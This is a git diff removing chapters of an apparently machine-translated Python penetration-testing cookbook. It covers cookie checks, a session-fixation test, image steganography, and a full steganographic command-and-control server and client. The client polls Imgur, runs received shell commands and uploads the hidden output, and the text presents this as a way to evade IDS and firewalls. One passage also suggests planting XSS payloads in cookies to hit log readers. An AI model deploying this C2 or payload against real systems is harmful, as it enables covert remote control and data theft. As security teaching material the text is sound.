属性是一件好事。 - -我们最后检查 cookie 中的域,看看它是否以点开头: - -``` -if cookie.domain_initial_dot: - cookie.domain_initial_dot = '\x1b[31mTrue\x1b[39;49m' - print 'Loosly defined domain:', cookie.domain_initial_dot, '\n' -``` - -如果 cookie 的`domain`属性以点开头,则表示 cookie 跨所有子域使用,因此可能超出预期范围。 - -以下屏幕截图显示了目标网站的不安全标志如何以红色突出显示: - -![How it works…](graphics/B04044_05_10.jpg) - -## 还有更多… - -我们之前已经看到了如何通过提取标题来列举用于服务网站的技术。某些框架也在 cookie 中存储信息,例如,PHP 创建了一个名为**PHPSESSION**的 cookie,用于存储会话数据。因此,此数据的存在表明使用了 PHP,然后可以进一步枚举服务器,以测试其是否存在已知的 PHP 漏洞。 - -# 通过 cookie 注入进行会话固定 - -会话固定是一个依赖于会话 ID 重复使用的漏洞。首先,攻击者必须能够通过在其客户端上设置 cookie 或已经知道受害者会话 ID 的值来强制受害者使用特定会话 ID。然后,当受害者进行身份验证时,客户端上的 cookie 保持不变。因此,攻击者知道会话 ID,现在可以访问受害者的会话。 - -## 准备好了吗 - -此方法需要对目标站点进行一些初始侦察,以确定其如何执行身份验证,例如通过`POST`请求中的数据或通过基本`auth`进行验证。它还需要一个有效的用户帐户进行身份验证。 - -## 怎么做… - -此配方将通过 cookie 注入测试会话固定: - -``` -import requests - -url = 'http://www.packtpub.com/' -req = requests.get(url) -if req.cookies: - print 'Initial cookie state:', req.cookies - cookie_req = requests.post(url, cookies=req.cookies, auth=('user1', 'supersecretpasswordhere')) - print 'Authenticated cookie state:', cookie_req.cookies - - if req.cookies == cookie_req.cookies: - print 'Session fixation vulnerability identified' -``` - -## 它是如何工作的… - -这个剧本有两个阶段;第一步是向目标网站发送初始`get`请求,然后显示收到的 cookies: - -``` -req = requests.get(url) -print 'Initial cookie state:', req.cookies -``` - -脚本的第二阶段向目标站点发送另一个请求,这次使用有效的用户凭据进行身份验证: - -``` -cookie_req = requests.post(url, cookies=req.cookies, auth=('user1', 'supersecretpasswordhere')) -``` - -请注意,我们将请求 cookie 设置为我们在前面的初始`GET`请求中收到的 cookie。 - -脚本结束时,打印出最终 cookie 状态,并在经过身份验证的 cookie 与初始请求中发送的 cookie 匹配时打印警告: - -``` -print 'Authenticated cookie state:', cookie_req.cookies - -if req.cookies == cookie_req.cookies: - print 'Session fixation vulnerability identified' -``` - -## 还有更多… - -Cookie 是另一个由用户控制并由 web 服务器解析的数据源。与标头类似,这使它成为测试 XSS 漏洞的好地方。尝试将 XSS 有效负载添加到 cookie 数据并将其发送到目标服务器,以查看它如何处理数据。请记住,Cookie 可以从 web 服务器后端读入,也可以打印到日志中,因此可以针对日志读取器使用 XSS(例如,如果管理员稍后读取)。 \ No newline at end of file diff --git a/trans/py-pentest-dev/23.md b/trans/py-pentest-dev/23.md deleted file mode 100644 index 6a2c2d7..0000000 --- a/trans/py-pentest-dev/23.md +++ /dev/null @@ -1,889 +0,0 @@ -# 第六章图像分析与处理 - -在本章中,我们将介绍以下配方: - -* 使用 LSB 隐写术隐藏消息 -* 提取 LSB 中隐藏的消息 -* 在图像中隐藏文本 -* 从图像中提取文本 -* 使用隐写术的命令和控制 - -# 导言 - -隐写术是将数据隐藏在肉眼可见的地方的艺术。如果要遮罩轨迹,这可能很有用。我们可以使用隐写术来逃避防火墙和 IDS 的检测。在本章中,我们将了解 Python 可以帮助我们在图像中隐藏数据的一些方法。我们将使用**最低有效位**(**LSB**)进行一些基本的图像隐写来隐藏我们的数据,然后我们将创建一个自定义隐写功能。本章的高潮将是创建一个命令和控制系统,该系统使用我们精心制作的图像在服务器和客户端之间进行数据通信。 - -下图是一个图像的示例,其中隐藏了另一个图像。你可以看到(或者可能看不到)人眼不可能检测到任何东西: - -![Introduction](graphics/B04044_06_01.jpg) - -# 使用 LSB 隐写术隐藏消息 - -在这个配方中,我们将使用 LSB 隐写术方法创建一个隐藏另一个图像的图像。这是最常见的隐写术形式之一。因为仅仅有一种隐藏数据的方法是不好的,我们还将编写一个脚本来提取隐藏的数据。 - -## 准备好了吗 - -我们将在本章中遇到的所有图像工作都将使用**Python 图像库**(**PIL**)。要在 Linux 上使用`PIP`安装 Python 映像库,请使用以下命令: - -``` -$ pip install PIL - -``` - -如果要在 Windows 上安装,可能需要使用[上提供的安装程序 http://www.pythonware.com/products/pil/](http://www.pythonware.com/products/pil/) 。 - -只需确保为您的 Python 版本安装了正确的安装程序。 - -值得注意的是,PIL 已被更新版本的枕头取代。但是为了我们的需要,PIL 会很好的。 - -## 怎么做… - -图像是由像素创建的,每个像素都由红色、绿色和蓝色(RGB)值组成(对于彩色图像)。这些值的范围从 0 到 255,其原因是每个值的长度为 8 位。纯黑色像素将由(R(0)、G(0)、B(0))的元组表示,纯白色像素将由(R(255)、G(255)、B(255))表示。我们将重点关注第一个配方的`R`值的二进制表示。我们将采用 8 位值并更改最右边的位。这样做的原因是,对该位的更改将等于像素红色值的 0.4%以下的更改。这远远低于人眼所能检测到的。 - -现在让我们看一下这个脚本,然后我们将在后面介绍它是如何工作的: - -``` - #!/usr/bin/env python - -from PIL import Image - -def Hide_message(carrier, message, outfile): - c_image = Image.open(carrier) - hide = Image.open(message) - hide = hide.resize(c_image.size) - hide = hide.convert('1') - out = Image.new('RGB', c_image.size) - - width, height = c_image.size - - new_array = [] - - for h in range(height): - for w in range(width): - ip = c_image.getpixel((w,h)) - hp = hide.getpixel((w,h)) - if hp == 0: - newred = ip[0] & 254 - else: - newred = ip[0] | 1 - - new_array.append((newred, ip[1], ip[2])) - - out.putdata(new_array) - out.save(outfile) - print "Steg image saved to " + outfile - -Hide_message('carrier.png', 'message.png', 'outfile.png') -``` - -## 它是如何工作的… - -首先,我们从`PIL`导入`Image`模块: - -``` -from PIL import Image -``` - -然后,我们创建我们的`Hide_message`函数: - -``` -def Hide_message(carrier, message, outfile): -``` - -此函数采用三个参数,如下所示: - -* `carrier`:这是我们用来隐藏其他图像的图像的文件名 -* `message`:这是我们要隐藏的图像的文件名 -* `outfile`:这是我们的函数将生成的新文件的名称 - -接下来,我们打开载体和消息图像: - -``` -c_image = Image.open(carrier) -hide = Image.open(message) -``` - -然后我们操纵我们将隐藏的图像,使其与载体图像的大小(宽度和高度)相同。我们还将要隐藏的图像转换为纯黑白。这是通过将图像模式设置为`1`完成的: - -``` -hide = hide.resize(c_image.size) -hide = hide.convert('1') -``` - -接下来,我们创建一个新图像,并将图像模式设置为 RGB,大小设置为载体图像的大小。我们创建两个变量来保存载体图像宽度和高度的值,并设置一个数组;此阵列将保存我们的新像素值,我们最终将保存到新图像中,如下所示: - -``` -out = Image.new('RGB', c_image.size) - -width, height = c_image.size - -new_array = [] -``` - -接下来是我们函数的主要部分。我们需要得到要隐藏的像素的值。如果是黑色像素,则我们将载波红色像素的 LSB 设置为`0`,如果是白色,则需要将其设置为`1`。我们可以通过使用掩码的逐位操作轻松做到这一点。如果我们想将 LSB 设置为`0`,我们可以使用`254`将值设置为`AND`,或者如果我们想将值设置为`1`,我们可以使用`1`将值设置为`OR`。 - -我们循环遍历图像中的所有像素,一旦我们得到`newred`值,我们将这些值与原始的绿色和蓝色值一起附加到`new_array`中: - -``` - for h in range(height): - for w in range(width): - ip = c_image.getpixel((w,h)) - hp = hide.getpixel((w,h)) - if hp == 0: - newred = ip[0] & 254 - else: - newred = ip[0] | 1 - - new_array.append((newred, ip[1], ip[2])) - - out.putdata(new_array) - out.save(outfile) - print "Steg image saved to " + outfile -``` - -在函数的末尾,我们使用`putdata`方法将我们的新像素值数组添加到新图像中,然后使用`outfile`指定的文件名保存文件。 - -需要注意的是,您必须将图像保存为 PNG 文件。这是一个重要的步骤,因为 PNG 是一种无损算法。例如,如果要将图像另存为 JPEG,则不会保留 LSB 值,因为 JPEG 使用的压缩算法将更改我们指定的值。 - -## 还有更多… - -我们使用了红色值 LSB 来隐藏我们在这个配方中的图像;但是,您可以使用任意 RGB 值,甚至全部三个值。一些隐写术方法将在多个像素上分割 8 位,以便在 RGBRGBRG 上分割每个位,依此类推。当然,如果你想使用这种方法,你的载体图像需要比你想要隐藏的信息大得多。 - -## 另见 - -所以,我们现在有了一种隐藏图像的方法。在下面的配方中,我们将研究如何提取该消息。 - -# 提取 LSB 中隐藏的消息 - -这个配方将允许我们使用前面配方中的 LSB 技术提取隐藏在图像中的消息。 - -## 怎么做… - -如前一个配方所示,我们使用 RGB 像素的`Red`值的 LSB 从我们想要隐藏的图像中隐藏黑色或白色像素。此配方将反转该过程,将隐藏的黑白图像从载体图像中拉出。让我们来看看这样做的功能: - -``` -#!/usr/bin/env python - -from PIL import Image - -def ExtractMessage(carrier, outfile): - c_image = Image.open(carrier) - out = Image.new('L', c_image.size) - width, height = c_image.size - new_array = [] - - for h in range(height): - for w in range(width): - ip = c_image.getpixel((w,h)) - if ip[0] & 1 == 0: - new_array.append(0) - else: - new_array.append(255) - - out.putdata(new_array) - out.save(outfile) - print "Message extracted and saved to " + outfile - -ExtractMessage('StegTest.png', 'extracted.png') -``` - -## 它是如何工作的… - -首先我们从 Python 镜像库导入`Image`模块: - -``` -from PIL import Image -``` - -接下来,我们设置用于提取消息的函数。该函数接受两个参数:`carrier`图像文件名和我们要用提取的图像创建的文件名: - -``` -def ExtractMessage(carrier, outfile): -``` - -接下来,我们从`carrier`图像创建一个`Image`对象。我们还为提取的数据创建新图像;此图像的模式设置为`L`,因为我们正在创建灰度图像。我们创建两个变量来保持载体图像的宽度和高度。最后,我们设置了一个数组,用于保存提取的数据值: - -``` -c_image = Image.open(carrier) -out = Image.new('L', c_image.size) - -width, height = c_image.size - -new_array = [] -``` - -现在,进入函数的主要部分:提取。我们创建`for`循环来迭代载体的像素。我们使用`Image`对象和`getpixel`函数返回像素的 RGB 值。为了从像素的红色值中提取 LSB,我们使用了位掩码。如果我们使用带有红色值的按位`AND`并使用`1,`掩码,那么如果 LSB 是`0,`,我们将返回一个`0`,如果它是`1`,我们将返回一个`1`。因此,我们可以将其放入`if`语句中,为新数组创建值。当我们创建灰度图像时,像素值的范围从`0`到`255`,因此,如果我们知道 LSB 是`1,`,我们将其转换为`255`。这差不多就是全部了。剩下要做的就是使用我们的新图像`putdata`方法从数组中创建图像,然后保存。 - -## 还有更多… - -到目前为止,我们已经研究了将一个图像隐藏在另一个图像中,但是有许多其他方法可以将不同的数据隐藏在其他载体中。有了这个提取功能和之前隐藏图像的方法,我们就可以通过消息发送和接收命令了,但是我们必须找到更好的发送实际命令的方法。下一个方法将着重于在图像中隐藏实际文本。 - -# 在图像中隐藏文本 - -在之前的配方中,我们已经研究了在另一个配方中隐藏图像。这一切都很好,但本章的主要目的是传递可以在命令和控件样式格式中使用的文本。此方法的目的是在图像中隐藏一些文本。 - -## 怎么做… - -到目前为止,我们关注的是像素的 RGB 值。在 PNGs 中,我们可以访问另一个值,`A`值。`RGBA`的`A`值是该像素的透明度级别。在这个配方中,我们将使用这种模式,因为它将允许我们在 LSB 中跨两个像素存储每个值的 8 位。这意味着我们可以在两个像素上隐藏一个`char`值,因此我们需要一个像素计数至少是我们试图隐藏字符数两倍的图像。 - -让我们看一下脚本: - -``` -from PIL import Image - -def Set_LSB(value, bit): - if bit == '0': - value = value & 254 - else: - value = value | 1 - return value - -def Hide_message(carrier, message, outfile): - message += chr(0) - c_image = Image.open(carrier) - c_image = c_image.convert('RGBA') - - out = Image.new(c_image.mode, c_image.size) - pixel_list = list(c_image.getdata()) - new_array = [] - - for i in range(len(message)): - char_int = ord(message[i]) - cb = str(bin(char_int))[2:].zfill(8) - pix1 = pixel_list[i*2] - pix2 = pixel_list[(i*2)+1] - newpix1 = [] - newpix2 = [] - - for j in range(0,4): - newpix1.append(Set_LSB(pix1[j], cb[j])) - newpix2.append(Set_LSB(pix2[j], cb[j+4])) - - new_array.append(tuple(newpix1)) - new_array.append(tuple(newpix2)) - - new_array.extend(pixel_list[len(message)*2:]) - - out.putdata(new_array) - out.save(outfile) - print "Steg image saved to " + outfile - -Hide_message('c:\\python27\\FunnyCatPewPew.png', 'The quick brown fox jumps over the lazy dogs back.', 'messagehidden.png') -``` - -## 它是如何工作的… - -首先,我们从`PIL`导入`Image`模块: - -``` -from PIL import Image -``` - -接下来,我们设置一个 helper 函数,该函数将帮助根据要隐藏的二进制文件设置传入值的 LSB: - -``` -def Set_LSB(value, bit): - if bit == '0': - value = value & 254 - else: - value = value | 1 - return value -``` - -我们使用位掩码根据传入的二进制值是`1`还是`0`来设置 LSB。如果是一个`0,`我们使用位`AND`和`254`(11111110)掩码,如果是一个`1,`我们使用位`OR`和`1`(00000001)掩码。结果值从函数返回。 - -接下来,我们创建主要的`Hide_message`方法,该方法采用三个参数:载体图像的文件名、要隐藏的消息的字符串,以及我们将为输出创建的图像的文件名: - -``` -def Hide_message(carrier, message, outfile): -``` - -下一行代码将`0x00`的值添加到字符串的末尾。这在提取函数中很重要,因为它会让我们知道我们已经到达隐藏文本的末尾。我们使用`chr()`函数将`0x00`转换为字符串友好表示: - -``` -message += chr(0) -``` - -下面的代码部分创建了两个图像对象:一个是载体,另一个是输出图像。对于载体图像,我们将模式更改为`RGBA`,以确保每个像素有四个值。然后我们创建几个数组:`pixel_list`是我们载体图像的所有像素数据,`new_array`将保存我们组合的`carrier`和`message`图像的所有新像素值: - -``` -c_image = Image.open(carrier) -c_image = c_image.convert('RGBA') -out = Image.new(c_image.mode, c_image.size) - -pixel_list = list(c_image.getdata()) -new_array = [] -``` - -接下来,我们在`for`循环中循环消息中的每个字符: - -``` -for i in range(len(message)): -``` - -我们首先将角色转换为一个`int`: - -``` -char_int = ord(message[i]) -``` - -然后我们将该`int`转换为二进制字符串,我们将`zfill`字符串转换为`8`字符长。这将使以后更容易。当您使用`bin(),`时,它将以 0 位作为字符串的前缀,因此`[2:]`只是将其去掉: - -``` -cb = str(bin(char_int))[2:].zfill(8) -``` - -接下来,我们创建两个像素变量并填充它们。我们使用当前消息字符索引`*2`作为第一个像素,使用(当前消息字符索引`*2`和`1`作为第二个像素。这是因为我们每个字符使用两个像素: - -``` -pix1 = pixel_list[i*2] -pix2 = pixel_list[(i*2)+1] -``` - -接下来,我们创建两个数组来保存隐藏数据的值: - -``` -newpix1 = [] -newpix2 = [] -``` - -现在一切都设置好了,我们可以开始更改我们迭代`4`次的像素数据的值(对于`RGBA`值),并调用我们的助手方法来设置 LSB。`newpix1`函数将包含 8 位字符的前 4 位;`newpix2`将有最后一个`4`: - -``` -for j in range(0,4): - newpix1.append(Set_LSB(pix1[j], cb[j])) - newpix2.append(Set_LSB(pix2[j], cb[j+4])) -``` - -一旦我们有了新的值,我们将把它们转换成元组,并将它们附加到`new_array:`中 - -``` -new_array.append(tuple(newpix1)) -new_array.append(tuple(newpix2)) -``` - -下图描述了我们将实现的目标: - -![How it works…](graphics/B04044_06_02.jpg) - -剩下要做的就是用我们载体图像的剩余像素扩展`new_array`方法,然后使用传递给`Hide_message`函数的`filename`参数保存它: - -``` -new_array.extend(pixel_list[len(message)*2:]) - -out.putdata(new_array) -out.save(outfile) -print "Steg image saved to " + outfile -``` - -## 还有更多… - -正如在本配方开始时所述,我们需要确保载体图像像素数是我们想要隐藏的消息大小的两倍。我们可以添加一个检查,如下所示: - -``` -if len(message) * 2 < len(list(image.getdata())): - #Throw an error and advise the user -``` - -这就是这个食谱的基本内容;现在,我们可以在图像中隐藏文本,并且使用前面的方法,我们也可以隐藏图像。在下一个配方中,我们将提取文本数据。 - -# 从图像中提取文本 - -在前面的配方中,我们看到了如何在图像的`RGBA`值中隐藏文本。这个配方可以让我们把数据提取出来。 - -## 怎么做… - -我们在前面的配方中看到,我们将一个字符字节拆分为 8 位,并将它们分布在两个像素的 LSB 上。这张图再次作为复习: - -![How to do it…](graphics/B04044_06_03.jpg) - -以下是将执行提取的脚本: - -``` -from PIL import Image -from itertools import izip - -def get_pixel_pairs(iterable): - a = iter(iterable) - return izip(a, a) - -def get_LSB(value): - if value & 1 == 0: - return '0' - else: - return '1' - -def extract_message(carrier): - c_image = Image.open(carrier) - pixel_list = list(c_image.getdata()) - message = "" - - for pix1, pix2 in get_pixel_pairs(pixel_list): - message_byte = "0b" - for p in pix1: - message_byte += get_LSB(p) - - for p in pix2: - message_byte += get_LSB(p) - - if message_byte == "0b00000000": - break - - message += chr(int(message_byte,2)) - return message - -print extract_message('messagehidden.png') -``` - -## 它是如何工作的… - -首先我们从`PIL`导入`Image`模块;我们还从`itertools`导入`izip`模块。`izip`模块将用于返回像素对: - -``` -from PIL import Image -from itertools import izip -``` - -接下来,我们创建两个助手函数。`get_pixel_pairs`函数接收我们的像素列表并返回对;由于每个消息字符被拆分为两个像素,因此提取更容易。另一个助手函数`get_LSB`将接受一个`R`、`G`、`B`或`A`值,并使用位掩码获取 LSB 值并以字符串格式返回: - -``` -def get_pixel_pairs(iterable): - a = iter(iterable) - return izip(a, a) - -def get_LSB(value): - if value & 1 == 0: - return '0' - else: - return '1' -``` - -接下来,我们有我们的主要`extract_message`功能。这将接收我们的运营商映像的文件名: - -``` -def extract_message(carrier): -``` - -然后我们根据传入的文件名创建一个图像对象,然后根据图像数据创建一个像素数组。我们还创建了一个名为`message`的空字符串;这将保存我们提取的文本: - -``` -c_image = Image.open(carrier) -pixel_list = list(c_image.getdata()) -message = "" -``` - -接下来,我们创建一个`for`循环,该循环将迭代使用辅助函数`get_pixel_pairs;`返回的所有像素对。我们将返回的像素对设置为`pix1`和`pix2:` - -``` -for pix1, pix2 in get_pixel_pairs(pixel_list): -``` - -我们将创建的代码的下一部分是一个字符串变量,它将保存二进制字符串。Python 知道它将是由`0b`前缀表示的字符串的二进制表示。然后,我们迭代每个像素(`pix1`和`pix2`中的`RGBA`值,并将该值传递给我们的帮助函数`get_LSB`,返回的值附加到二进制字符串上: - -``` -message_byte = "0b" -for p in pix1: - message_byte += get_LSB(p) -for p in pix2: - message_byte += get_LSB(p) -``` - -当前面的代码运行时,我们将获得隐藏字符的二进制字符串表示形式。字符串将类似于`0b01100111`,我们在隐藏的消息末尾放置了一个停止字符,即`0x00`,当提取部分输出时,我们需要打破`for`循环,因为我们知道我们已经到达隐藏文本的末尾。下一部分为我们进行检查: - -``` -if message_byte == "0b00000000": - break -``` - -如果它不是我们的停止字节,那么我们可以将该字节转换为其原始字符,并将其附加到消息字符串的末尾: - -``` -message += chr(int(message_byte,2)) -``` - -剩下要做的就是从函数返回完整的消息字符串。 - -## 还有更多… - -现在我们有了隐藏和提取函数,我们可以将它们组合成一个类,用于下一个配方。我们将添加一个检查,以测试该类是否已被其他类使用,或者是否正在自己运行。整个脚本如下所示。`hide`和`extract`函数已稍微修改,以接受图像 URL;此脚本将在[第 8 章](25.html "Chapter 8. Payloads and Shells")、*有效载荷和炮弹*中的 C2 示例中使用: - -``` -#!/usr/bin/env python - -import sys -import urllib -import cStringIO - -from optparse import OptionParser -from PIL import Image -from itertools import izip - -def get_pixel_pairs(iterable): - a = iter(iterable) - return izip(a, a) - -def set_LSB(value, bit): - if bit == '0': - value = value & 254 - else: - value = value | 1 - return value - -def get_LSB(value): - if value & 1 == 0: - return '0' - else: - return '1' - -def extract_message(carrier, from_url=False): - if from_url: - f = cStringIO.StringIO(urllib.urlopen(carrier).read()) - c_image = Image.open(f) - else: - c_image = Image.open(carrier) - - pixel_list = list(c_image.getdata()) - message = "" - - for pix1, pix2 in get_pixel_pairs(pixel_list): - message_byte = "0b" - for p in pix1: - message_byte += get_LSB(p) - - for p in pix2: - message_byte += get_LSB(p) - - if message_byte == "0b00000000": - break - - message += chr(int(message_byte,2)) - return message - -def hide_message(carrier, message, outfile, from_url=False): - message += chr(0) - if from_url: - f = cStringIO.StringIO(urllib.urlopen(carrier).read()) - c_image = Image.open(f) - else: - c_image = Image.open(carrier) - - c_image = c_image.convert('RGBA') - - out = Image.new(c_image.mode, c_image.size) - width, height = c_image.size - pixList = list(c_image.getdata()) - newArray = [] - - for i in range(len(message)): - charInt = ord(message[i]) - cb = str(bin(charInt))[2:].zfill(8) - pix1 = pixList[i*2] - pix2 = pixList[(i*2)+1] - newpix1 = [] - newpix2 = [] - - for j in range(0,4): - newpix1.append(set_LSB(pix1[j], cb[j])) - newpix2.append(set_LSB(pix2[j], cb[j+4])) - - newArray.append(tuple(newpix1)) - newArray.append(tuple(newpix2)) - - newArray.extend(pixList[len(message)*2:]) - - out.putdata(newArray) - out.save(outfile) - return outfile - -if __name__ == "__main__": - - usage = "usage: %prog [options] arg1 arg2" - parser = OptionParser(usage=usage) - parser.add_option("-c", "--carrier", dest="carrier", - help="The filename of the image used as the carrier.", - metavar="FILE") - parser.add_option("-m", "--message", dest="message", - help="The text to be hidden.", - metavar="FILE") - parser.add_option("-o", "--output", dest="output", - help="The filename the output file.", - metavar="FILE") - parser.add_option("-e", "--extract", - action="store_true", dest="extract", default=False, - help="Extract hidden message from carrier and save to output filename.") - parser.add_option("-u", "--url", - action="store_true", dest="from_url", default=False, - help="Extract hidden message from carrier and save to output filename.") - - (options, args) = parser.parse_args() - if len(sys.argv) == 1: - print "TEST MODE\nHide Function Test Starting ..." - print hide_message('carrier.png', 'The quick brown fox jumps over the lazy dogs back.', 'messagehidden.png') - print "Hide test passed, testing message extraction ..." - print extract_message('messagehidden.png') - else: - if options.extract == True: - if options.carrier is None: - parser.error("a carrier filename -c is required for extraction") - else: - print extract_message(options.carrier, options.from_url) - else: - if options.carrier is None or options.message is None or options.output is None: - parser.error("a carrier filename -c, message filename -m and output filename -o are required for steg") - else: - hide_message(options.carrier, options.message, options.output, options.from_url) -``` - -# 使用隐写术启用命令和控制 - -这个配方将展示如何使用隐写术来控制另一台机器。如果您试图躲避**入侵检测系统**(**IDS**))/防火墙,这将非常方便。在这个场景中,会看到的唯一流量是进出客户端机器的 HTTPS 流量。此配方将显示基本的服务器和客户端设置。 - -## 准备好了吗 - -在这个配方中,我们将使用图像共享网站 Imgur 来托管我们的图像。原因很简单,就是用于 Imgur 的 pythonapi 易于安装和使用。不过,你可以选择和另一个人一起工作。但是,如果您希望使用此脚本并注册应用程序以获取 API 密钥和密码,则需要使用 Imgur 创建一个帐户。完成后,您可以使用`pip:`安装`imgur`Python 库 - -``` -$ pip install imgurpython - -``` - -您可以在[注册账户 http://www.imgur.com](http://www.imgur.com) 。 - -注册帐户后,您可以注册应用程序,从[获取 API 密钥和密码 https://api.imgur.com/oauth2/addclient](https://api.imgur.com/oauth2/addclient) 。 - -拥有 imgur 帐户后,您需要创建一个相册并将图像上载到其中。 - -此配方还将从上一配方导入完整的 stego 文本脚本。 - -## 怎么做… - -这个食谱的运作方式分为两部分。我们将有一个脚本运行并充当服务器,另一个脚本运行并充当客户端。我们的脚本将遵循的基本步骤如下所示: - -1. 服务器脚本已运行。 -2. 服务器等待客户端宣布它已准备就绪。 -3. 客户端脚本正在运行。 -4. 客户端通知服务器它已经准备好了。 -5. 服务器显示客户端正在等待,并提示用户将命令发送到客户端。 -6. 服务器发送一个命令。 -7. 服务器等待响应。 -8. 客户端接收命令并运行它。 -9. 客户端将命令的输出发送回服务器。 -10. 服务器接收来自客户端的输出并将其显示给用户。 -11. 重复步骤 5 至 10,直到发送`quit`命令。 - -考虑到这些步骤,让我们先看看服务器脚本: - -``` -from imgurpython import ImgurClient -import StegoText, random, time, ast, base64 - -def get_input(string): - ''' Get input from console regardless of python 2 or 3 ''' - try: - return raw_input(string) - except: - return input(string) - -def create_command_message(uid, command): - command = str(base64.b32encode(command.replace('\n',''))) - return "{'uuid':'" + uid + "','command':'" + command + "'}" - -def send_command_message(uid, client_os, image_url): - command = get_input(client_os + "@" + uid + ">") - steg_path = StegoText.hide_message(image_url, create_command_message(uid, command), "Imgur1.png", True) - print "Sending command to client ..." - uploaded = client.upload_from_path(steg_path) - client.album_add_images(a[0].id, uploaded['id']) - - if command == "quit": - sys.exit() - - return uploaded['datetime'] - -def authenticate(): - client_id = '' - client_secret = '' - - client = ImgurClient(client_id, client_secret) - authorization_url = client.get_auth_url('pin') - - print("Go to the following URL: {0}".format(authorization_url)) - pin = get_input("Enter pin code: ") - - credentials = client.authorize(pin, 'pin') - client.set_user_auth(credentials['access_token'], credentials['refresh_token']) - - return client - -client = authenticate() -a = client.get_account_albums("C2ImageServer") - -imgs = client.get_album_images(a[0].id) -last_message_datetime = imgs[-1].datetime - -print "Awaiting client connection ..." - -loop = True -while loop: - time.sleep(5) - imgs = client.get_album_images(a[0].id) - if imgs[-1].datetime > last_message_datetime: - last_message_datetime = imgs[-1].datetime - client_dict = ast.literal_eval(StegoText.extract_message(imgs[-1].link, True)) - if client_dict['status'] == "ready": - print "Client connected:\n" - print "Client UUID:" + client_dict['uuid'] - print "Client OS:" + client_dict['os'] - else: - print base64.b32decode(client_dict['response']) - - random.choice(client.default_memes()).link - last_message_datetime = send_command_message(client_dict['uuid'], - client_dict['os'], - random.choice(client.default_memes()).link) -``` - -以下是我们客户的脚本: - -``` -from imgurpython import ImgurClient -import StegoText -import ast, os, time, shlex, subprocess, base64, random, sys - -def get_input(string): - try: - return raw_input(string) - except: - return input(string) - -def authenticate(): - client_id = '' - client_secret = '' - - client = ImgurClient(client_id, client_secret) - authorization_url = client.get_auth_url('pin') - - print("Go to the following URL: {0}".format(authorization_url)) - pin = get_input("Enter pin code: ") - - credentials = client.authorize(pin, 'pin') - client.set_user_auth(credentials['access_token'], credentials['refresh_token']) - - return client - -client_uuid = "test_client_1" - -client = authenticate() -a = client.get_account_albums("") - -imgs = client.get_album_images(a[0].id) -last_message_datetime = imgs[-1].datetime - -steg_path = StegoText.hide_message(random.choice(client.default_memes()). link, "{'os':'" + os.name + "', 'uuid':'" + client_uuid + "','status':'ready'}", "Imgur1.png",True) -uploaded = client.upload_from_path(steg_path) -client.album_add_images(a[0].id, uploaded['id']) -last_message_datetime = uploaded['datetime'] - -while True: - - time.sleep(5) - imgs = client.get_album_images(a[0].id) - if imgs[-1].datetime > last_message_datetime: - last_message_datetime = imgs[-1].datetime - client_dict = ast.literal_eval(StegoText.extract_message(imgs[-1].link, True)) - if client_dict['uuid'] == client_uuid: - command = base64.b32decode(client_dict['command']) - - if command == "quit": - sys.exit(0) - - args = shlex.split(command) - p = subprocess.Popen(args, stdout=subprocess.PIPE, shell=True) - (output, err) = p.communicate() - p_status = p.wait() - - steg_path = StegoText.hide_message(random.choice (client.default_memes()).link, "{'os':'" + os.name + "', 'uuid':'" + client_uuid + "','status':'response', 'response':'" + str(base64.b32encode(output)) + "'}", "Imgur1.png", True) - uploaded = client.upload_from_path(steg_path) - client.album_add_images(a[0].id, uploaded['id']) - last_message_datetime = uploaded['datetime'] -``` - -## 它是如何工作的… - -首先,我们创建一个`imgur`客户端对象;authenticate 函数处理使用我们的帐户和应用程序对`imgur`客户端进行身份验证。当您运行脚本时,它将输出一个要访问的 URL,以获取要输入的 pin 码。然后它会为我们的 imgur 用户名获取一个相册列表。如果您尚未创建相册,脚本将失败,请确保您已准备好相册。我们将获取列表中的第一张相册,并获得该相册中包含的所有图像的进一步列表。 - -图像列表通过将最早上传的图像放在第一位来排序;为了让脚本正常工作,我们需要知道最新上传图像的时间戳,因此我们使用`[-1]`索引获取它并将其存储在变量中。完成此操作后,服务器将等待客户端连接: - -``` -client = authenticate() -a = client.get_account_albums("") - -imgs = client.get_album_images(a[0].id) -last_message_datetime = imgs[-1].datetime - -print "Awaiting client connection ..." -``` - -一旦服务器等待客户端连接,我们就可以运行客户端脚本。客户端脚本的初始启动创建一个`imgur`客户端对象,就像服务器一样,而不是等待;但是,它会生成一条消息并将其隐藏在随机图像中。此消息包含客户端正在运行的`os`类型(这将使服务器用户更容易知道要运行的命令)、`ready`状态,以及客户端的标识符(如果您希望在脚本上展开以允许多个客户端连接到服务器)。 - -上传图像后,`last_message_datetime`功能设置为新的时间戳: - -``` -client_uuid = "test_client_1" - -client = authenticate() -a = client.get_account_albums("C2ImageServer") - -imgs = client.get_album_images(a[0].id) -last_message_datetime = imgs[-1].datetime - -steg_path = StegoText.hide_message(random.choice (client.default_memes()).link, "{'os':'" + os.name + "', 'uuid':'" + client_uuid + "','status':'ready'}", "Imgur1.png",True) -uploaded = client.upload_from_path(steg_path) -client.album_add_images(a[0].id, uploaded['id']) -last_message_datetime = uploaded['datetime'] -``` - -服务器将等待,直到它看到消息;它通过使用`while`循环来实现这一点,并检查图像日期时间是否晚于我们启动它时保存的日期时间。一旦它看到有一个新的图像,它将下载它并提取信息。然后检查消息,看它是否是客户机就绪消息;如果是,则显示`uuid`客户端和`os`类型,并提示用户输入: - -``` -loop = True -while loop: - time.sleep(5) - imgs = client.get_album_images(a[0].id) - if imgs[-1].datetime > last_message_datetime: - last_message_datetime = imgs[-1].datetime - client_dict = ast.literal_eval(StegoText.extract_message(imgs[-1].link, True)) - if client_dict['status'] == "ready": - print "Client connected:\n" - print "Client UUID:" + client_dict['uuid'] - print "Client OS:" + client_dict['os'] -``` - -用户输入命令后,使用 base32 对其进行编码,以避免破坏我们的消息字符串。然后将其隐藏在随机图像中,并上传到 imgur。客户端处于等待此消息的 while 循环中。这个循环的开始检查日期时间的方式与我们的服务器相同;如果它看到一个新的图像,它会检查是否使用`uuid`将其发送到此机器,如果是,它会提取消息,将其转换为友好的格式,`Popen`将使用`shlex,`接受该格式,然后使用`Popen`运行该命令。然后,它等待命令的输出,然后将其隐藏在随机图像中并上载到 imgur: - -``` -loop = True -while loop: - - time.sleep(5) - imgs = client.get_album_images(a[0].id) - if imgs[-1].datetime > last_message_datetime: - last_message_datetime = imgs[-1].datetime - client_dict = ast.literal_eval(StegoText.extract_message(imgs[-1].link, True)) - if client_dict['uuid'] == client_uuid: - command = base64.b32decode(client_dict['command']) - - if command == "quit": - sys.exit(0) - - args = shlex.split(command) - p = subprocess.Popen(args, 